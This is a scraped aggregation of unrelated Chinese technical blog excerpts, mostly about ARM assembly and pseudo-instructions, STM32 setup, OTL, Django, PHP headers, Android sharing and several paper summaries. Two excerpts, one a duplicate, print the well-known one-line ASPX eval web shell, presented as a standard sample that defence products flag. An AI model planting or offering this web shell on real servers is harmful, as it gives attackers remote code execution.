片上外设区分为四条总线,根据外设速度的不同,不同总线挂载着不同的外设,APB1挂载低速外设,APB2和AHB挂载高速外设.相应总线的最低地址我们称为该总线的基地址,总线基地址也是挂载在该总线上的首个外设的地址.APB1总线的地址最低,因此片上外设就从这这个地址开始,也称外设基地址. 总线基地址 从存储器映射那张图的Block2可以看到,分为4大块,每块都有一个起始地址,这个起始地址就是基地址,然后到下一块起始地址的时候就会和前一块地址出现偏差,这个差值就是偏移量,即相对基地址的偏移量.如下图所示

title: LDM与STM指令详解 date: 2019/2/26 17:58:00 toc: true --- LDM与STM指令详解 指令形式如下,这里的存储方向是针对寄存器的 Load Multiple (LDM) and Store Multiple (STM) LDM{<cond>}<addressing_mode> Rn{!}, <registers>{^} STM{<cond>}<addressing_mode> Rn{!}, &

对Java程序员来说,我们对面向对象的编程(OOP)自然都是烂熟于胸的,但语言也极大地影响了我们构建面向对象应用程序的方式.(现在的OOP已经和Alan Kay当初创造这个词时候的初衷大不相同了,他的主要思想是采用消息传递并消灭所有状态数据(他认为,系统是由一些类似于生物细胞那样的对象构成的,这些对象通过消息传递进行通信,且无需持有任何状态)——go语言) 对于Java程序员来说,当我们顺着指针或引用找到某个实例的时候,实际上是登录到了持有其状态的一块内存上,于是在那个位置上操纵数据也就成了自然

转自http://blog.chinaunix.net/uid-13701930-id-336459.html 4.1 ARM汇编器所支持的伪指令 在ARM汇编语言程序里,有一些特殊指令助记符,这些助记符与指令系统的助记符不同,没有相对应的操作码,通常称这些特殊指令助记符为伪指令,他们所完成的操作称为伪操作.伪指令在源程序中的作用是为完成汇编程序作各种准备工作的,这些伪指令仅在汇编过程中起作用,一旦汇编结束,伪指令的使命就完成. 在ARM的汇编程序中,有如下几种伪指令:符号定义伪指令.数据定义伪

ARM伪指令 在ARM汇编语言程序中里,有一些特殊指令助记符与指令系统的助记符不同,没有相对应的操作码,通常称这些特殊指令助记符为伪指令,他们所完成的操作称为伪操作.伪指令在元程序中的作用是为完成汇编程序作各种准备工作,这些伪指令仅在汇编过程中起作用,一旦汇编结束,伪指令的使命就完成. 伪指令本身并没有所对应的机器码,它只是在编译的时候起作用,或者转化为其他的实际指令来运行. 在ARM的汇编程序中,有几种伪指令:符号定义伪指令.数据定义的伪指令.汇编控制的伪指令.宏指令以及其他伪指令. 一.符号

ARM汇编程序基本知识 1.汇编程序的基本组成 ARM汇编语言程序中,程序是以程序段为单位组织代码的.段是相对独立的指令或者代码序列,拥有特定的名称.段的种类有代码段.数据段和通用段,代 码段的内容为执行代码,数据段存放代码运行时需要用到的数据,通用段不包含用户代码和数据,所有通用段共用一个空间.段使用AREA伪操作来定义,并且说 明相关属性,如 代码段定义 AREA Init, CODE, READONLY … 数据段定义 AREA Stack1,DATA,READWRITE,NOINIT,A

一面学习,一面总结,一面记录. 以下是整理在网上找到的一些资料,简单整理记录一下,方便以后查阅. ARM处理器的指令集能够分为跳转指令.数据处理指令.程序状态寄存器(PSR)处理指令.载入/存储指令.协处理器指令和异常产生指令6大指令. 一.跳转指令 跳转指令用于实现程序流程的跳转,在ARM程序中有下面两种方法能够实现程序流程的跳转. Ⅰ.使用专门的跳转指令. Ⅱ.直接向程序计数器PC写入跳转地址值.通过向程序计数器PC写入跳转地址值,能够实如今4GB的地址空间中的随意跳转,在跳转之前结合使用M

Sequence to Sequence Learning with NN <基于神经网络的序列到序列学习>原文google scholar下载. @author: Ilya Sutskever (Google)and so on 一.总览 DNNs在许多棘手的问题处理上取得了瞩目的成绩.文中提到用一个包含2层隐藏层神经网络给n个n位数字排序的问题.如果有好的学习策略,DNN能够在监督和反向传播算法下训练出很好的参数,解决许多计算上复杂的问题.通常,DNN解决的问题是,算法上容易的而计算上困难

目录 第1讲 前言:本书讲什么:如何使用本书: 第2讲 初始SLAM:引子-小萝卜的例子:经典视觉SLAM框架:SLAM问题的数学表述:实践-编程基础: 第3讲 三维空间刚体运动 旋转矩阵:实践-Eigen:旋转向量和欧拉角:四元数:相似.仿射.射影变换:实践-Eigen几何模块:可视化演示: 第4讲 李群与李代数 李群李代数基础:指数与对数映射:李代数求导与扰动模型:实践-Sophus:相似变换群与李代数:小结: 第5讲 相机与图像 相机模型:图像:实践-图像的存取与访问:实践-拼接点云: 第

1 OTL简介 OTL 是 Oracle, Odbcand DB2-CLI Template Library 的缩写,是一个C++编译中操控关系数据库的模板库,它目前几乎支持当前所有的各种主流数据库,例如Oracle, MS SQL Server, Sybase, Informix, MySQL, DB2, Interbase /Firebird, PostgreSQL, SQLite, SAP/DB, TimesTen, MS ACCESS等等. OTL中直接操作Oracle主要是通过Orac

一.标准ASPX一句话木马 .NET平台下的一句话木马则百年不变,最常见的当属下面这句 <%@ Page Language=”Jscript”%><%eval(Request.Item[“pass”],”unsafe”);%> 想必这句话已经成大多数防御产品的标准样本,除此以外还有上传文件的一句话,像这种的从严格意义上不能算是一句话木马,只是一个简单的上传文件的功能,实际的操作还是大马或者小马的操作行为. <%if (Request.Files.Count!=0) { Req

要学习一个东西首先要把概念搞清楚,以下仅仅是自己的一些关于汇编的理解. 可运行文件里的01码是机器码,机器码不等于汇编码,尽管机器码能够非常easy翻译成汇编码. 汇编码中包括非常多汇编指令.伪指令和宏指令等.这些是不能够直接在机器上执行的. 机器指令是ARM指令集和Thumb指令集这些arm硬件支持的指令集组成的. 汇编码中的伪指令和宏指令这些都是汇编语言这个级别的指令,在汇编文件编译的时候汇编编译器as会去处理这些指令.在编译期间也会对宏进行展开,类似于gcc编译的时候对C代码中的宏展开一样

THOR: Tracking Holistic Object Representations BMVC 2019 Oral 2019-08-04 10:30:09 Paper: https://arxiv.org/pdf/1907.12920 Project: https://sites.google.com/view/vision-thor/ Code: https://github.com/xl-sr/THOR Related Papers: (利用外部记忆网络来动态更新目标模板) 1. L

https://www.cnblogs.com/Fluorescence-tjy/p/9855828.html 一.标准ASPX一句话木马 .NET平台下的一句话木马则百年不变,最常见的当属下面这句 <%@ Page Language="Jscript"%><%eval(Request.Item["pass"],"unsafe");%> 想必这句话已经成大多数防御产品的标准样本,除此以外还有上传文件的一句话,像这种的从严格

一.伪指令 ARM伪指令有四个,分别是LDR.ADR.ADRL和NOP,下边对其分别介绍. 1.1 LDR LDR 伪指令用于加载 32 位的立即数或一个地址值到指定寄存器 .形式如  LDR{cond} register,=[expr | label_expr],与 ARM 指令的 LDR 相比 , 伪指令的 LDR 的参数有“ =” 号 .LDR有三方面的应用: (1)用于加载常量,如 LDR R2, =0xFF0 其等同于MOV R2, #0xFF0 但需要注意的是LDR指令加载常量可以是

Abstract: 本文提出一种用于大规模的长期回环检测,基于一种内存管理方法:限制用于回环检测的位置数目,以满足实时性要求. introduction: 大场景存在的最关键问题:随着场景增大,回环检测处理的数据量增大,可能会产生延时.该论文的研究重心在于设计一种在线的基于外观回环检测方法.为了限制搜索之前经过位置的时间,在贝叶斯框架下采用动态管理用于闭环检测的位置.Working Memory的大小取决于需要处理实时获得图片的时间,保留最近且最常观测到的位置,将其他的位置放入Long Term

info:更多Django信息url:https://www.oschina.net/p/djangodetail: Django 是 Python 编程语言驱动的一个开源模型-视图-控制器(MVC)风格的 Web 应用程序框架.使用 Django,我们在几分钟之内就可以创建高品质.易维护.数据库驱动的应用程序. Django 框架的核心组件有: 用于创建模型的对象关系映射 为最终用户设计的完美... info:更多OpenERP信息url:https://www.oschina.net/p/o

在uVision中新建STM32工程后,需要从STM32标准库中拷贝标准外设驱动到自己的工程目录中,此时需要在工程设置->C/C++选项卡下的Define文本框中键入这两个全局宏定义. STM32F40_41xxx,USE_STDPERIPH_DRIVER USE_STDPERIPH_DRIVER 这个说明你在使用标准外设驱动,有自己的外设配置文件,即stm32f10x_conf.h,详细可查看stm32f4xx.h中12026-12017行.关于stm32f4xx_conf.h 文件中的内容,

虽然前段时间ARM被日本软银收购了,但是科技是无国界的,所以呢ARM相关知识该学的学.现在看ARM指令集还是倍感亲切的,毕竟大学里开了ARM这门课,并且做了不少的实验,当时自我感觉ARM这门课学的还是可以的.虽然当时感觉学这门课以后似乎不怎么用的上,可曾想这不就用上了吗,不过之前学的都差不多忘了,还得捡起来呢.ARM指令集是精简指令集,从名字我们就能看出指令的个数比那些负责指令集要少一些.当然本篇所涉及的ARM指令集是冰山一角,不过也算是基础,可以阅读Hopper中的汇编了,实践出真知,看多了自

PHP 中 header()函数的作用是给客户端发送头信息. 什么是头信息?这里只作简单解释,详细的自己看http协议.在 HTTP协议中,服务器端的回答(response)内容包括两部分:头信息(header) 和 体内容,这里的头信息不是HTML中的<head></head>部分,同样,体内容也不是<BODY>< /BODY>.头信息是用户看不见的,里面包含了很多项,包括:服务器信息.日期.内容的长度等.而体内容就是整个HTML,也就是你所能看见的全 部

在android下各种文件管理器中,我们选择一个文件,点击分享可以看到弹出一些app供我们选择,这个是android系统分享功能,我们做的app也可以出现在这个列表中. 第一步:在Manifest.xml进行配置,比普通的activity中多增加一个Intent过滤器 <activity android:name="com.example.share.MainActivity" android:label="@string/app_name" > <